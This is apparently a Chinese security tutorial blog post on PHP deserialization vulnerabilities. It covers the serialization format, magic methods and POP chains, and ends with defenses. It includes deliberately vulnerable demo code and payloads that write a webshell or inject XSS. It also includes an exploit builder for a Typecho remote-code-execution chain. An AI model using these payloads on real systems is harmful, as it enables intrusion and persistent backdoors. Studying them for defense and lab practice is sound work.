反序列化漏洞
1754 字
9 分钟
反序列化漏洞
一、面向对象基础
1.1 面向对象思想
万物皆对象,任何事物都可以看作对象。面向对象的思想是用对象来解决问题。
| 对比 | 面向过程 | 面向对象 |
|---|---|---|
| 小餐馆 | 夫妻作坊,什么都自己做 | — |
| 大餐馆 | — | 餐饮公司,分工明确(厨师、服务员、收银员) |
1.2 三大特性
- 封装:隐藏内部实现细节
- 继承:子类继承父类属性和方法
- 多态:同一方法在不同对象上有不同表现
二、序列化与反序列化概念
2.1 什么是序列化/反序列化?
| 概念 | 说明 |
|---|---|
| 序列化 | 将数据结构或对象转换成二进制串(或可传输格式)的过程 |
| 反序列化 | 将二进制串转换回数据结构或对象的过程 |
通俗理解:
- 序列化 = 存档(将游戏进度保存到文件)
- 反序列化 = 读档(从文件恢复游戏进度)
2.2 使用场景
| 场景 | 说明 |
|---|---|
| 存储 | 将对象从内存保存到硬盘(Session、缓存) |
| 传输 | 跨语言/跨系统传输数据(如 API 传递对象) |
| 进程通信 | 进程间/线程间传输二进制流 |
2.3 序列化格式
对象 → 序列化 → 中间格式(文本/JSON/XML/二进制)→ 反序列化 → 对象三、PHP 序列化基础
3.1 序列化语法
<?phpclass Student { public $name = "jack"; public $age = 18; public $address = "beijing";}
$student = new Student();$str = serialize($student);echo $str;?>输出:
O:7:"Student":3:{s:4:"name";s:4:"jack";s:3:"age";i:18;s:7:"address";s:7:"beijing";}3.2 序列化格式详解
O:7:"Student":3:{...}│ │ │ ││ │ │ └── 属性数量│ │ └── 类名│ └── 类名长度└── 对象类型(Object)属性格式:
s:4:"name";s:4:"jack";│ │ │ │ │ ││ │ │ │ │ └── 属性值│ │ │ │ └── 属性值类型(s=字符串)│ │ │ └── 属性值长度│ │ └── 属性名│ └── 属性名长度└── 数据类型(s=字符串)类型标识符:
| 标识 | 类型 |
|---|---|
s | String |
i | Integer |
b | Boolean |
a | Array |
O | Object |
N | NULL |
d | Double |
3.3 反序列化
<?php$str = 'O:7:"Student":3:{s:4:"name";s:4:"jack";s:3:"age";i:18;s:7:"address";s:7:"beijing";}';$obj = unserialize($str);var_dump($obj);echo $obj->name; // jack?>四、PHP 魔术方法(关键)
💡 这些魔术方法在特定操作时自动调用,是反序列化漏洞的核心入口。
| 魔术方法 | 触发时机 |
|---|---|
__construct() | 类实例化时自动调用 |
__destruct() | 对象销毁时自动调用 |
__sleep() | 序列化(serialize())时自动调用 |
__wakeup() | 反序列化(unserialize())时自动调用 |
__toString() | 对象被当作字符串使用时调用(如 echo、字符串拼接) |
__invoke() | 对象被当作函数调用时触发 |
__call() | 调用不存在或不可访问的方法时触发 |
__get() | 访问不存在或不可访问的属性时触发 |
__set() | 设置不存在或不可访问的属性时触发 |
__isset() | 对不存在或不可访问属性调用 isset() 时触发 |
__unset() | 对不存在或不可访问属性调用 unset() 时触发 |
__clone() | 克隆对象时自动调用 |
4.1 __sleep() 和 __wakeup()
<?phpclass People { public $name; public $age; public $address;
public function __construct($name, $age, $address) { $this->name = $name; $this->age = $age; $this->address = $address; }
// 序列化时自动调用,指定需要序列化的属性 public function __sleep() { return array("name", "age"); // 只序列化 name 和 age }
// 反序列化时自动调用,可修改属性值 public function __wakeup() { $this->address = "BeiJing"; // 反序列化后重新赋值 }}?>五、反序列化漏洞原理
5.1 核心原理
用户可控的输入被传入 unserialize(),攻击者构造恶意序列化数据,触发魔术方法中的危险操作(如 eval、文件操作、命令执行等)。
5.2 Demo 1:存储文件可控 → XSS
<?phpclass Dog { public $name = "labuladuo";}
// 写入序列化数据到文件$dog = new Dog();file_put_contents("dog.txt", serialize($dog));
// 读取并反序列化$data = file_get_contents("dog.txt");print_r(unserialize($data));?>攻击: 修改 dog.txt 内容
O:3:"Dog":1:{s:4:"name";s:26:"<script>alert(1);</script>";}→ 反序列化时输出 XSS 代码 → 触发弹窗
5.3 Demo 2:参数可控 → __wakeup() 触发 XSS
<?phpclass Cat { public $name = "波斯猫"; public function __wakeup() { echo "开始加载存档......"; echo $this->name; echo "加载存档完成......"; }}
$data = $_REQUEST['data'];unserialize($data);?>Payload:
O:3:"Cat":1:{s:4:"name";s:32:"<img src='1' onerror='alert(1)'>";}5.4 Demo 3:__wakeup() 执行任意代码
<?phpclass Cat { public $name = "波斯猫"; public function __wakeup() { eval($this->name); }}
$data = $_REQUEST['data'];unserialize($data);?>Payload 1(执行 phpinfo):
O:3:"Cat":1:{s:4:"name";s:10:"phpinfo();";}Payload 2(写 Webshell):
O:3:"Cat":1:{s:4:"name";s:61:"file_put_contents('shell.php','<?php eval($_REQUEST[6]);?>');";}5.5 Demo 4:Pikachu 靶场
<?phpclass S{ var $test = "pikachu"; function __construct(){ echo $this->test; }}
if(isset($_POST['o'])){ $s = $_POST['o']; $unser = unserialize($s); echo $unser->test;}?>Payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('gxa')</script>";}5.6 Demo 5:CTF 靶场(利用 __toString 读取文件)
<?phpclass Readme{ public $source; public function __toString() { return highlight_file('Readme.txt', true) . highlight_file($this->source, true); }}
// 判断逻辑:从 Cookie 读取序列化数据并反序列化if(isset($_COOKIE['todos'])){ $c = $_COOKIE['todos']; $h = substr($c, 0, 32); $m = substr($c, 32); if(md5($m) == $h){ $todos = unserialize($m); }}?>Payload 构造:
<?phpclass Readme{ public $source = 'flag.php'; public function __toString() { return highlight_file($this->source, true); }}
$todos[] = new Readme();$m = serialize($todos);$h = md5($m);echo $h . urlencode($m);?>5.7 Demo 6:复杂 POP 链(魔术方法链)
利用多个魔术方法串联形成调用链:
__destruct() → __toString() → __call() → __clone() → __isset() → __invoke() → 读取 flagPOP 链追踪:
Start::__destruct() → 将 $this->name 视为对象 → 触发 Sec::__toString() → Sec::$this->obj->check() → 触发 Easy::__call() → $this->cla = clone $var[0] → 触发 eeee::__clone() → isset($this->obj->cmd) → 触发 Start::__isset() → $func = $this->func; $func() → 触发 Sec::__invoke() → file_get_contents('/flag')六、POP 链(Property-Oriented Programming)
POP 链(面向属性编程)是指从现有运行环境中寻找一系列代码/方法调用,构成一组连续的调用链,从而实现攻击目的。
概念类比:
| 概念 | 说明 |
|---|---|
| ROP(Return-Oriented Programming) | 二进制漏洞利用中的返回导向编程 |
| POP(Property-Oriented Programming) | 反序列化漏洞中的属性导向编程(利用魔术方法串联) |
七、Typecho 反序列化漏洞分析(实战案例)
7.1 漏洞入口
URL: http://www.typecho.com/install.php?finish=请求头: Referer: http://www.typecho.com请求体: __typecho_config=11117.2 POP 链
install.php(finish 参数) ↓Typecho_Cookie::get('__typecho_config') ↓Typecho_Db::__construct($adapterName, $prefix) ↓(adapterName 指向 Typecho_Feed 对象)Typecho_Feed::__toString() ↓($this->item['author']->screenName)Typecho_Request::__get('screenName') ↓Typecho_Request::get('screenName') ↓Typecho_Request::_applyFilter($value) ↓(_filter = array('assert'))assert('file_put_contents(...)') → RCE7.3 Payload 构造
<?phpclass Typecho_Request { private $_params = array( 'screenName' => 'die(file_put_contents("3.php", "<?php eval(\$_REQUEST[6]); ?>"))' ); private $_filter = array('assert');}
class Typecho_Feed { private $_type = 'ATOM'; private $_items = array( array( 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request() ) );}
$request = new Typecho_Request();$feed = new Typecho_Feed();
$config = array( 'adapter' => $feed, 'prefix' => '');
$payload = base64_encode(serialize($config));echo $payload;?>八、常见反序列化漏洞(Java 生态)
| 漏洞 | 说明 |
|---|---|
| Log4j2 | 核弹级漏洞(JNDI 注入) |
| FastJSON | 反序列化漏洞 |
| WebLogic | 反序列化漏洞 |
| Shiro | RememberMe 反序列化漏洞 |
九、反序列化漏洞防御
| 措施 | 说明 |
|---|---|
| 严格校验 | 对传入 unserialize() 的数据进行严格校验 |
| 白名单 | 只允许反序列化特定的类 |
| 禁用危险函数 | 如 eval()、assert()、system() 等 |
| 使用安全替代方案 | 如 JSON 序列化(json_encode/json_decode) |
| 签名验证 | 对序列化数据添加签名,防止篡改 |
📌 快速参考卡片
序列化格式
O:类名长度:"类名":属性数:{属性1;属性2;...}s:长度:"值"; i:数字; b:布尔; a:数组; N:NULL常见 POP 链入口
__destruct() // 对象销毁 → 最常用的入口__wakeup() // 反序列化时自动触发__toString() // 对象被当字符串使用漏洞审计要点
- 搜索
unserialize( - 追踪参数来源(GET/POST/COOKIE/文件)
- 查找可利用的魔术方法
- 构建 POP 链
常用 Payload
// 执行 phpinfoO:3:"Cat":1:{s:4:"name";s:10:"phpinfo();";}
// 写 WebshellO:3:"Cat":1:{s:4:"name";s:61:"file_put_contents('shell.php','<?php eval($_REQUEST[6]);?>');";}
// XSSO:3:"Cat":1:{s:4:"name";s:32:"<img src='1' onerror='alert(1)'>";}文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!
相关文章智能推荐
1
逻辑漏洞
技术文章越权、支付与验证码等业务逻辑漏洞的分类、挖掘思路与常见场景。
2
文件包含漏洞
技术文章本地/远程文件包含的利用方式、PHP 伪协议与敏感文件路径,以及挖掘与防御方法。
3
中间件解析漏洞
技术文章Apache、Nginx、IIS 三大中间件解析漏洞的成因、复现过程与利用条件。
4
文件上传漏洞
技术文章上传绕过方式、图片马、条件竞争,以及 getshell 后的权限问题。
5
信息收集
技术文章从域名、IP、指纹到社工信息,渗透测试前期信息收集的完整思路与常用工具。
随机文章随机推荐















